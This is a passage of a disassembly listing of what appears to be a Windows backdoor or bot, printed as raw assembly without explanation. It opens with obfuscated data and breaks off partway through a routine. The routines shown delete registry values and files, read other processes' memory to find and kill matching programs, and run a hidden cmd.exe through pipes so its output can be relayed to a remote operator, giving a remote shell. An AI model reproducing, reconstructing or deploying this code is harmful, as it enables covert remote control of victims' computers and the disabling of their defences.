5A5A905Ah, 0D15A5454h dd 2E2E5A94h, 542E2E2Eh, 2E2E2E54h, 54542ED1h, 5454C854h dd 5454545Ah, 54111111h, 95541154h, 110FE00Fh, 0C2545411h dd 5454DF54h, 0F7CEC9CDh, 0FE5AD62Dh, 2D187594h, 0D9255A2Dh dd 0C05AECD3h, 1111115Ah, 5A111111h, 5 dup(94949494h) dd 94119494h, 11DEDE94h, 0DE11D311h, 5A5A5ADCh, 54549454h dd 0DDDBDBFAh, 0DBDDDDDDh, 545454C6h, 2B54DDDDh, 542E9494h dd 2E2E5454h, 54300118h, 119454E7h, 0DDDD9494h, 945494DDh dd 756C5494h, 0C454D8D8h, 54545454h, 0CD945A54h, 945ACD94h dd 545A5ACDh, 52CFD75Ah, 54115A94h, 5A115A95h, 54D15454h dd 5A5A5A5Ah, 5411545Ah, 0ED99112Eh, 0C22ED02Eh, 2E2E2E2Eh dd 545A18C5h, 54541111h, 5A2E112Eh, 1111E614h, 0D52DC7D1h dd 0C71111E6h, 0ACD52DC7h, 545454D6h, 116F5454h, 75756C54h dd 54541154h, 6C545454h, 2E2E2E75h, 2E2E2E2Eh, 54542E2Eh dd 54545454h, 2E6C756Ch, 902E2E2Eh, 1154542Eh, 0D454D490h dd 11545454h, 54111111h, 54111154h, 54545954h, 0D4545454h dd 0DDDDDD57h, 5ADDDDDDh, 54541211h, 5454545Ah, 54D17254h dd 5454D154h, 0E4125AA7h, 1111545Ah, 11115454h, 2E2E2E54h dd 942EDB2Eh, 54541154h, 5A545A54h, 5454D45Ah, 11542E2Eh dd 5454DB54h, 11115454h, 11D4D454h, 54D31159h, 519CC4C4h dd 9494D451h, 117AD454h, 0D354A111h, 11545454h, 0D3CCF12Dh dd 91945A94h, 915A2D2Dh, 952D955Ah, 55555594h, 5555C155h dd 58552555h, 3 dup(55555555h), 945A5A2Dh, 5AD35AD9h, 0BB945AD7h dd 542E5454h, 0CA2E2E54h, 54542ED1h, 182E2E54h, 5A18548Dh dd 2EC22ED1h, 2E2E2E11h, 6C6C8B2Eh, 54D454D3h, 54EC5454h dd 111154D4h, 945439D1h, 0DD949411h, 549C5A5Ah, 545254F7h dd 0FE6654C9h, 2DA24D54h, 0D1815AD4h, 6B9254D1h, 54545454h dd 2EEE5A94h, 0D3955454h, 0DA58D354h, 94115411h, 0D354545Ah dd 0D65AD390h, 0D9D99454h, 0DF1154D9h, 0DFDFD4DFh, 0F7545AD4h dd 9454E654h, 5AC3C454h, 54115454h, 546C1154h, 545454DBh dd 2D545454h, 54D3D411h, 0D454CD2Eh, 94111111h, 11549454h dd 11D411DBh, 11545A54h, 2E555454h, 5A845454h, 0DF54F854h dd 54541154h, 5454E75Ah, 11541154h, 5454D32Eh, 11D4CDF5h dd 542E94D3h, 542E1154h, 54545411h, 0EC545497h, 82C7CFDBh dd 2E2ECC54h, 0DBCDC7DBh, 0C754DB54h, 54DB5454h, 0C1C1C754h dd 54F92EC1h, 11545490h, 542E5454h, 0E5CCE511h, 0E5E5E511h dd 54F954E5h, 54F99554h, 552E5490h, 542E2E2Eh, 5454F954h dd 545A2E54h, 0FFE65454h, 0EBC2CDF4h, 545A5AE8h, 6CCE545Ch dd 99B9D46Ch, 0D4C952DDh, 115A5A54h, 54D45411h, 11272E2Eh dd 2E2E2E54h, 2E2EC22Eh, 25C9542Eh, 0C5C525C9h, 2711845Ah ; =============== S U B R O U T I N E ======================================= sub_400FFC proc near ; DATA XREF: BrattyUS:003DF460o xchg eax, esp adc [edi], esp pushf sub_400FFC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_401146+31p ; sub_401146+43p ... var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = byte ptr -260h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = byte ptr -218h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 268h and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_40101A ; --------------------------------------------------------------------------- loc_401013: ; CODE XREF: sub_401000+13Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40101A: ; CODE XREF: sub_401000+11j mov eax, [ebp+var_4] cmp off_418000[eax*4], 0 jz loc_401141 mov eax, [ebp+var_4] push off_418000[eax*4] lea eax, [ebp+var_260] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_260] push eax call sub_4105FB pop ecx lea eax, [ebp+var_110] push eax push 3 push 0 lea eax, [ebp+var_260] push eax push [ebp+arg_0] call dword_417008 ; RegOpenKeyExA and [ebp+var_220], 0 jmp short loc_401081 ; --------------------------------------------------------------------------- loc_401074: ; CODE XREF: sub_401000:loc_40112Bj mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_401081: ; CODE XREF: sub_401000+72j mov [ebp+var_21C], 104h mov [ebp+var_224], 104h lea eax, [ebp+var_224] push eax lea eax, [ebp+var_10C] push eax lea eax, [ebp+var_114] push eax push 0 lea eax, [ebp+var_21C] push eax lea eax, [ebp+var_218] push eax push [ebp+var_220] push [ebp+var_110] call dword_417000 ; RegEnumValueA mov [ebp+var_264], eax cmp [ebp+var_264], 0 jz short loc_4010DD jmp short loc_401130 ; --------------------------------------------------------------------------- loc_4010DD: ; CODE XREF: sub_401000+D9j cmp [ebp+var_114], 1 jnz short loc_40112B push [ebp+arg_4] push [ebp+var_224] lea eax, [ebp+var_10C] push eax call sub_407ACA add esp, 0Ch mov [ebp+var_268], eax cmp [ebp+var_268], 0 jz short loc_40112B lea eax, [ebp+var_218] push eax push [ebp+var_110] call dword_417004 ; RegDeleteValueA test eax, eax jnz short loc_40112B mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40112B: ; CODE XREF: sub_401000+E4j ; sub_401000+10Bj ... jmp loc_401074 ; --------------------------------------------------------------------------- loc_401130: ; CODE XREF: sub_401000+DBj push [ebp+var_110] call dword_417028 ; RegCloseKey jmp loc_401013 ; --------------------------------------------------------------------------- loc_401141: ; CODE XREF: sub_401000+25j mov eax, [ebp+var_8] leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401146 proc near ; CODE XREF: sub_401244+459p ; sub_40A9CF+A72p var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push 80h push [ebp+arg_0] call dword_4170A8 ; SetFileAttributesA test eax, eax jnz short loc_401166 jmp locret_401242 ; --------------------------------------------------------------------------- loc_401166: ; CODE XREF: sub_401146+19j push [ebp+arg_0] call dword_4170AC ; DeleteFileA push [ebp+arg_0] push 80000001h call sub_401000 pop ecx pop ecx mov [ebp+var_4], eax push [ebp+arg_0] push 80000002h call sub_401000 pop ecx pop ecx mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jnz locret_401242 push 104h push [ebp+arg_0] lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_108] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_10C], eax jmp short loc_4011DB ; --------------------------------------------------------------------------- loc_4011CE: ; CODE XREF: sub_401146:loc_40121Aj mov eax, [ebp+var_10C] dec eax mov [ebp+var_10C], eax loc_4011DB: ; CODE XREF: sub_401146+86j cmp [ebp+var_10C], 0 jz short loc_40121C mov eax, [ebp+arg_0] add eax, [ebp+var_10C] movsx eax, byte ptr [eax-1] cmp eax, 5Ch jnz short loc_40121A push 104h mov eax, [ebp+var_10C] lea eax, [ebp+eax+var_108] push eax lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch jmp short loc_40121C ; --------------------------------------------------------------------------- loc_40121A: ; CODE XREF: sub_401146+AEj jmp short loc_4011CE ; --------------------------------------------------------------------------- loc_40121C: ; CODE XREF: sub_401146+9Cj ; sub_401146+D2j lea eax, [ebp+var_108] push eax push 80000001h call sub_401000 pop ecx pop ecx lea eax, [ebp+var_108] push eax push 80000002h call sub_401000 pop ecx pop ecx locret_401242: ; CODE XREF: sub_401146+1Bj ; sub_401146+56j leave retn sub_401146 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401244 proc near ; DATA XREF: sub_4017AA+9Do var_3E8 = dword ptr -3E8h var_3E4 = byte ptr -3E4h var_3E0 = dword ptr -3E0h var_3DC = dword ptr -3DCh var_3D8 = dword ptr -3D8h var_3D4 = dword ptr -3D4h var_3D0 = dword ptr -3D0h var_3CC = byte ptr -3CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = dword ptr -2B0h var_2AC = dword ptr -2ACh var_2A8 = byte ptr -2A8h var_2A7 = dword ptr -2A7h var_2A3 = byte ptr -2A3h var_1A3 = byte ptr -1A3h var_B = byte ptr -0Bh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3E8h push esi push edi push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2AC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movzx eax, [ebp+var_2A8] test eax, eax jz short loc_40129D lea eax, [ebp+var_2A3] push eax mov eax, [ebp+var_2AC] push dword ptr [eax] push offset dword_418144 lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 10h loc_40129D: ; CODE XREF: sub_401244+34j call sub_406041 mov [ebp+var_2B4], eax cmp [ebp+var_2B4], 0 jnz short loc_4012C4 push [ebp+var_2AC] call sub_409763 pop ecx xor eax, eax jmp loc_4017A4 ; --------------------------------------------------------------------------- loc_4012C4: ; CODE XREF: sub_401244+6Bj push 10000h call sub_416B46 ; malloc pop ecx mov [ebp+var_2B8], eax and [ebp+var_2BC], 0 and [ebp+var_2B0], 0 jmp short loc_4012F2 ; --------------------------------------------------------------------------- loc_4012E5: ; CODE XREF: sub_401244+E2j ; sub_401244+12Bj ... mov eax, [ebp+var_2B0] inc eax mov [ebp+var_2B0], eax loc_4012F2: ; CODE XREF: sub_401244+9Fj mov eax, [ebp+var_2B4] mov ecx, [ebp+var_2B0] cmp ecx, [eax] jge loc_401710 mov esi, [ebp+var_2B0] imul esi, 114h mov eax, [ebp+var_2B4] mov edi, [eax+4] call dword_4170E8 ; GetCurrentProcessId cmp [edi+esi], eax jnz short loc_401328 jmp short loc_4012E5 ; --------------------------------------------------------------------------- loc_401328: ; CODE XREF: sub_401244+E0j push 104h lea eax, [ebp+var_3CC] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp+var_3CC] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_401374 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401374: ; CODE XREF: sub_401244+129j mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 movzx eax, [ebp+var_2A8] neg eax sbb eax, eax add eax, 11h push eax call dword_417094 ; OpenProcess mov [ebp+var_2C4], eax cmp [ebp+var_2C4], 0 jnz short loc_4013B7 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_4013B7: ; CODE XREF: sub_401244+16Cj and [ebp+var_2C0], 0 and [ebp+var_2C8], 0 loc_4013C5: ; CODE XREF: sub_401244:loc_4016FAj mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp+var_2C0] cmp eax, 10000h jbe short loc_4013F7 mov [ebp+var_3E8], 10000h jmp short loc_40141C ; --------------------------------------------------------------------------- loc_4013F7: ; CODE XREF: sub_401244+1A5j mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp+var_2C0] mov [ebp+var_3E8], eax loc_40141C: ; CODE XREF: sub_401244+1B1j mov eax, [ebp+var_3E8] mov [ebp+var_3D0], eax lea eax, [ebp+var_2C8] push eax push [ebp+var_3D0] push [ebp+var_2B8] mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+4] add eax, [ebp+var_2C0] push eax push [ebp+var_2C4] call dword_417098 ; ReadProcessMemory mov [ebp+var_3D4], eax cmp [ebp+var_3D4], 0 jz loc_4016C5 cmp [ebp+var_2C8], 0 jz loc_4016C5 and [ebp+var_3D8], 0 and [ebp+var_3DC], 0 loc_401495: ; DATA XREF: BrattyUS:0041AD00o jmp short loc_4014A4 ; --------------------------------------------------------------------------- loc_401497: ; CODE XREF: sub_401244:loc_4015DBj mov eax, [ebp+var_3DC] inc eax mov [ebp+var_3DC], eax loc_4014A4: ; CODE XREF: sub_401244:loc_401495j mov eax, [ebp+var_2C8] sub eax, [ebp+var_2A7] cmp [ebp+var_3DC], eax ja loc_4015E0 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] cmp eax, ecx jz short loc_401514 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] add ecx, 20h cmp eax, ecx jz short loc_401514 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] sub ecx, 20h cmp eax, ecx jnz loc_4015DB loc_401514: ; CODE XREF: sub_401244+290j ; sub_401244+2ADj mov [ebp+var_3E0], 1 jmp short loc_40152D ; --------------------------------------------------------------------------- loc_401520: ; CODE XREF: sub_401244:loc_4015D6j mov eax, [ebp+var_3E0] inc eax mov [ebp+var_3E0], eax loc_40152D: ; CODE XREF: sub_401244+2DAj mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] test eax, eax jnz short loc_401556 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] mov [ebp+var_3D8], eax jmp loc_40179F ; --------------------------------------------------------------------------- loc_401556: ; CODE XREF: sub_401244+2F9j mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] cmp eax, ecx jz short loc_4015D6 mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] add ecx, 20h cmp eax, ecx jz short loc_4015D6 mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] sub ecx, 20h cmp eax, ecx jz short loc_4015D6 jmp short loc_4015DB ; --------------------------------------------------------------------------- loc_4015D6: ; CODE XREF: sub_401244+338j ; sub_401244+363j ... jmp loc_401520 ; --------------------------------------------------------------------------- loc_4015DB: ; CODE XREF: sub_401244+2CAj ; sub_401244+390j jmp loc_401497 ; --------------------------------------------------------------------------- loc_4015E0: ; CODE XREF: sub_401244+272j ; sub_401244:loc_40179Fj cmp [ebp+var_3D8], 0 jz loc_4016C5 mov eax, [ebp+var_2BC] inc eax mov [ebp+var_2BC], eax movzx eax, [ebp+var_2A8] test eax, eax jz short loc_401675 push 3E8h call dword_41709C ; Sleep mov al, [ebp+var_B] mov [ebp+var_3E4], al and [ebp+var_B], 0 mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] push dword ptr [ecx+eax] mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp+var_2A3] push eax push offset dword_41811C lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 14h mov al, [ebp+var_3E4] mov [ebp+var_B], al jmp short loc_4016A3 ; --------------------------------------------------------------------------- loc_401675: ; CODE XREF: sub_401244+3BFj push 0 push [ebp+var_2C4] call dword_4170A0 ; TerminateProcess mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_401146 pop ecx loc_4016A3: ; CODE XREF: sub_401244+42Fj mov eax, [ebp+var_2AC] cmp dword ptr [eax+4], 0 jz short loc_4016C0 push [ebp+var_2C4] call dword_4170A4 ; CloseHandle jmp loc_40179A ; --------------------------------------------------------------------------- loc_4016C0: ; CODE XREF: sub_401244+469j jmp loc_401795 ; --------------------------------------------------------------------------- loc_4016C5: ; CODE XREF: sub_401244+230j ; sub_401244+23Dj ... mov eax, [ebp+var_2C0] add eax, [ebp+var_3D0] mov [ebp+var_2C0], eax mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov edx, [ebp+var_2C0] cmp edx, [ecx+eax+8] jnz short loc_4016FA jmp short loc_4016FF ; --------------------------------------------------------------------------- loc_4016FA: ; CODE XREF: sub_401244+4B2j jmp loc_4013C5 ; --------------------------------------------------------------------------- loc_4016FF: ; CODE XREF: sub_401244+4B4j ; sub_401244:loc_401795j push [ebp+var_2C4] call dword_4170A4 ; CloseHandle jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401710: ; CODE XREF: sub_401244+BCj ; sub_401244:loc_40179Aj push [ebp+var_2B4] call sub_40636E pop ecx push [ebp+var_2B8] call sub_416B4C ; free pop ecx movzx eax, [ebp+var_2A8] test eax, eax jz short loc_401785 push 3E8h call dword_41709C ; Sleep cmp [ebp+var_2BC], 0 jnz short loc_401764 lea eax, [ebp+var_2A3] push eax push offset dword_4180F8 lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 0Ch jmp short loc_401785 ; --------------------------------------------------------------------------- loc_401764: ; CODE XREF: sub_401244+501j lea eax, [ebp+var_2A3] push eax push [ebp+var_2BC] push offset dword_4180CC lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 10h loc_401785: ; CODE XREF: sub_401244+4EDj ; sub_401244+51Ej push [ebp+var_2AC] call sub_409763 pop ecx xor eax, eax jmp short loc_4017A4 ; --------------------------------------------------------------------------- loc_401795: ; CODE XREF: sub_401244:loc_4016C0j jmp loc_4016FF ; --------------------------------------------------------------------------- loc_40179A: ; CODE XREF: sub_401244+477j jmp loc_401710 ; --------------------------------------------------------------------------- loc_40179F: ; CODE XREF: sub_401244+30Dj jmp loc_4015E0 ; --------------------------------------------------------------------------- loc_4017A4: ; CODE XREF: sub_401244+7Bj ; sub_401244+54Fj pop edi pop esi leave retn 4 sub_401244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017AA proc near ; CODE XREF: sub_40A9CF+AA1p ; sub_40A9CF+AD2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_4017C2 push [ebp+arg_4] call sub_416B40 ; strlen pop ecx test eax, eax jnz short loc_4017C7 loc_4017C2: ; CODE XREF: sub_4017AA+9j jmp locret_401854 ; --------------------------------------------------------------------------- loc_4017C7: ; CODE XREF: sub_4017AA+16j push 2ACh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4017DD jmp short locret_401854 ; --------------------------------------------------------------------------- loc_4017DD: ; CODE XREF: sub_4017AA+2Fj mov eax, [ebp+var_4] mov cl, [ebp+arg_8] mov [eax+4], cl push [ebp+arg_4] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_4] mov [ecx+5], eax push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 9 push eax call sub_416B58 ; strncpy add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 109h push eax call sub_405F67 pop ecx pop ecx movzx eax, [ebp+arg_8] test eax, eax jz short loc_401830 mov [ebp+var_8], offset aListing ; "Listing" jmp short loc_401837 ; --------------------------------------------------------------------------- loc_401830: ; CODE XREF: sub_4017AA+7Bj mov [ebp+var_8], offset aKilling ; "Killing" loc_401837: ; CODE XREF: sub_4017AA+84j push [ebp+arg_4] push [ebp+var_8] push offset dword_418174 push 0 push [ebp+var_4] push offset sub_401244 call sub_4095A4 add esp, 18h locret_401854: ; CODE XREF: sub_4017AA:loc_4017C2j ; sub_4017AA+31j leave retn sub_4017AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401856 proc near ; CODE XREF: sub_401981+A8p ; sub_401981+E1p ... push ebp mov ebp, esp cmp dword_41DEF4, 0FFFFFFFFh jz short loc_40186E push dword_41DEF4 call dword_4170A4 ; CloseHandle loc_40186E: ; CODE XREF: sub_401856+Aj cmp dword_41DEE8, 0FFFFFFFFh jz short loc_401883 push dword_41DEE8 call dword_4170A4 ; CloseHandle loc_401883: ; CODE XREF: sub_401856+1Fj cmp dword_41DEEC, 0FFFFFFFFh jz short loc_401898 push dword_41DEEC call dword_4170A4 ; CloseHandle loc_401898: ; CODE XREF: sub_401856+34j cmp dword_41DEF0, 0FFFFFFFFh jz short loc_4018AD push dword_41DEF0 call dword_4170A4 ; CloseHandle loc_4018AD: ; CODE XREF: sub_401856+49j pop ebp retn sub_401856 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018AF proc near ; CODE XREF: sub_401981+28Ap ; sub_401981+395p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 200h mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jnz short loc_4018D4 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401922 loc_4018D4: ; CODE XREF: sub_4018AF+15j ; sub_4018AF:loc_401920j push 32h call dword_41709C ; Sleep mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jz short loc_4018FE call sub_416B64 ; clock sub eax, dword_41DEFC cmp eax, 1F4h jb short loc_4018FE jmp short loc_401922 ; --------------------------------------------------------------------------- loc_4018FE: ; CODE XREF: sub_4018AF+39j ; sub_4018AF+4Bj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401920 call sub_416B64 ; clock sub eax, dword_41DEFC cmp eax, 0FAh jb short loc_401920 jmp short loc_401922 ; --------------------------------------------------------------------------- loc_401920: ; CODE XREF: sub_4018AF+5Bj ; sub_4018AF+6Dj jmp short loc_4018D4 ; --------------------------------------------------------------------------- loc_401922: ; CODE XREF: sub_4018AF+23j ; sub_4018AF+4Dj ... call sub_416B64 ; clock mov dword_41DEFC, eax mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_401942 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_401957 loc_401942: ; CODE XREF: sub_4018AF+86j push offset dword_4181A4 lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf pop ecx pop ecx jmp short loc_40196E ; --------------------------------------------------------------------------- loc_401957: ; CODE XREF: sub_4018AF+91j push 200h push [ebp+arg_4] lea eax, [ebp+var_200] push eax call sub_407A56 add esp, 0Ch loc_40196E: ; CODE XREF: sub_4018AF+A6j lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_40D53F pop ecx pop ecx leave retn sub_4018AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401981 proc near ; DATA XREF: sub_401D6E+88o var_730 = dword ptr -730h var_72C = dword ptr -72Ch var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_714 = dword ptr -714h var_510 = byte ptr -510h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_334 = dword ptr -334h var_330 = word ptr -330h var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = dword ptr -320h var_31C = byte ptr -31Ch var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = byte ptr -30Ch var_208 = dword ptr -208h var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 730h push 3A7h push [ebp+arg_0] lea eax, [ebp+var_714] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_416B64 ; clock sub eax, 1F4h mov dword_41DEFC, eax push 0 lea eax, [ebp+var_30C] push eax push 104h push 0 push offset aCmd_exe ; "cmd.exe" push 0 call dword_41706C ; SearchPathA test eax, eax jnz short loc_4019ED push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_4019ED: ; CODE XREF: sub_401981+57j mov [ebp+var_318], 0Ch mov [ebp+var_310], 1 and [ebp+var_314], 0 push 0 lea eax, [ebp+var_318] push eax lea eax, [ebp+var_368] push eax lea eax, [ebp+var_364] push eax call dword_417070 ; CreatePipe test eax, eax jnz short loc_401A41 call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A41: ; CODE XREF: sub_401981+A6j push 0 lea eax, [ebp+var_318] push eax lea eax, [ebp+var_36C] push eax lea eax, [ebp+var_728] push eax call dword_417070 ; CreatePipe test eax, eax jnz short loc_401A7A call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A7A: ; CODE XREF: sub_401981+DFj push 3 push 0 push 0 push offset dword_41DEF0 call dword_417074 ; GetCurrentProcess push eax push [ebp+var_36C] call dword_417074 ; GetCurrentProcess push eax call dword_4170F0 ; DuplicateHandle test eax, eax jnz short loc_401ABB call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401ABB: ; CODE XREF: sub_401981+120j push 10h push 0 lea eax, [ebp+var_724] push eax call sub_416B6A ; memset add esp, 0Ch push 44h push 0 lea eax, [ebp+var_360] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_360], 44h mov [ebp+var_334], 101h and [ebp+var_330], 0 mov eax, [ebp+var_728] mov [ebp+var_328], eax mov eax, [ebp+var_368] mov [ebp+var_324], eax mov eax, [ebp+var_368] mov [ebp+var_320], eax lea eax, [ebp+var_724] push eax lea eax, [ebp+var_360] push eax push 0 push 0 push 0 push 1 push 0 push 0 push offset byte_41DF00 lea eax, [ebp+var_30C] push eax call dword_41707C ; CreateProcessA test eax, eax jnz short loc_401B69 call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401B69: ; CODE XREF: sub_401981+1CEj push [ebp+var_728] call dword_4170A4 ; CloseHandle mov eax, [ebp+var_364] mov dword_41DEF4, eax mov eax, [ebp+var_36C] mov dword_41DEE8, eax mov eax, [ebp+var_724] mov dword_41DEEC, eax push [ebp+var_720] call dword_4170A4 ; CloseHandle and [ebp+var_4], 0 and [ebp+var_208], 0 loc_401BAD: ; CODE XREF: sub_401981+2E9j ; sub_401981+39Cj mov eax, [ebp+var_714] cmp dword ptr [eax+4], 0 jz short loc_401BBE jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401BBE: ; CODE XREF: sub_401981+236j and [ebp+var_208], 0 push 200h push 0 lea eax, [ebp+var_204] push eax call sub_416B6A ; memset add esp, 0Ch push 0 push 0 lea eax, [ebp+var_4] push eax push 200h lea eax, [ebp+var_204] push eax push dword_41DEF4 call dword_417080 ; PeekNamedPipe test eax, eax jnz short loc_401C17 push offset aCouldNotReadDa ; "Could not read data from process." lea eax, [ebp+var_510] push eax call sub_4018AF pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C17: ; CODE XREF: sub_401981+27Cj cmp [ebp+var_4], 0 jnz short loc_401C6F mov [ebp+var_730], 103h lea eax, [ebp+var_730] push eax push dword_41DEEC call dword_417084 ; GetExitCodeProcess test eax, eax jz short loc_401C62 cmp [ebp+var_730], 103h jz short loc_401C62 push offset aCmd_exeProcess ; "Cmd.exe process has terminated." lea eax, [ebp+var_510] push eax call sub_40D53F pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C62: ; CODE XREF: sub_401981+2BBj ; sub_401981+2C7j push 0Ah call dword_41709C ; Sleep jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401C6F: ; CODE XREF: sub_401981+29Aj and [ebp+var_72C], 0 jmp short loc_401C85 ; --------------------------------------------------------------------------- loc_401C78: ; CODE XREF: sub_401981:loc_401CAFj mov eax, [ebp+var_72C] inc eax mov [ebp+var_72C], eax loc_401C85: ; CODE XREF: sub_401981+2F5j mov eax, [ebp+var_72C] cmp eax, [ebp+var_4] jnb short loc_401CB1 mov eax, [ebp+var_72C] movsx eax, [ebp+eax+var_204] cmp eax, 0Ah jnz short loc_401CAF mov [ebp+var_208], 1 jmp short loc_401CB1 ; 